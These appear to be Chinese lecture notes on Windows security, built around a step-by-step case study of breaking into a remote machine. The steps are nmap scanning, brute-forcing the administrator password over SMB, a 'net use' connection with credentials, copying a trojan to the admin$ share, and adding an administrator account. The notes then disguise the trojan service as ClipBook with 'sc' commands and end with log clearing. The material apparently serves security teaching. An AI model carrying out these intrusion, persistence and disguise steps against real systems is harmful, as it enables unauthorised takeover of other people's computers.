windows操作系统的安全---入侵系统

windows操作系统的安全---入侵系统
Windows---最广泛滥用的操作系统
C2级安全标准的要求
•自主的访问控制
•对象再利用必须由系统控制
•用户标识和认证
•审计活动
–能够审计所有安全相关事件和个人活动
–只有管理员才有权限访问
【案例】入侵某个用户的操作系统
步骤：
一、收集信息（踩点）
（1）用户信息（社会工程学）
（2）操作系统（扫描工具----如Nmap）
（3）开放的服务
nmap（Network Mapper）最初由Gordon Fyodor Lyon于1997年创建。

nmap可以用来扫描一个网络，监控网络服务，列出网络中的活动主机等。

Usage: nmap [Scan Type(s)] [Options] {target specification}
语法：[扫描类型] [选项] {目标}
扫描类型：
HOST DISCOVERY:主机发现
PORT SPECIFICATION AND SCAN ORDER:端口扫描
SERVICE/VERSION DETECTION:服务版本探测
SCRIPT SCAN:脚本扫描
OS DETECTION:操作系统检测
-sP 主机发现---探测活动主机
-n 禁用DNS名称解析
-A 综合扫描
-A: Enable OS detection, version detection, script scanning, and traceroute 操作系统检测
服务版本检测
脚本扫描
路由追踪
-v 显示详细信息
二、进一步的探测
三、用户口令（猜测---借助口令字典---暴力破解） Windows默认账号：administrator
基于SMB协议(445)的黑客工具
四、建立连接
1 ）植入木马（分为客户端、服务端）
例子：建立一个IPC连接（管道，向远程操作系统传递指令） 查看共享：
2）建立连接：
net use \\192.168.123.98 bing16 /user:administrator
查看连接状态：
查看远程开启的共享：
3）将木马程序拷贝到远端计算机：
C:\rcmd>copy rcmdsvc.exe \\192.168.123.98\admin$
4）添加计划任务，在10：48分将木马程序下载到对方计算机的C:\windows目录下：
查询对方计算机netsvc服务的状态：
开启netsvc服务：
6）连接对方计算机：
7）在对方计算机的C:\windows文件夹下建立共享文件夹、新建用户：
8）将用户“haha”加入管理员组、在C盘新建文件夹：
五、伪装
C:\Documents and Settings\xiao>sc
C:\Documents and Settings\xiao>sc \\192.168.123.98 delete clipsrv#删除系统服务C:\>sc \\192.168.123.98 config rcmdsvc DisplayName= ClipBook#更改服务的显示名称C:\>sc \\192.168.123.98 description rcmdsvc "启用“剪贴簿查看器”储存信息并与远
程计算机共享。

如果此服务终止，“剪贴簿查看器” 将无法与远程计算机共享信息。

如果
此服务被禁用，任何依赖它的服务将无法启动。

"#为服务添加描述
六、清除作案记录。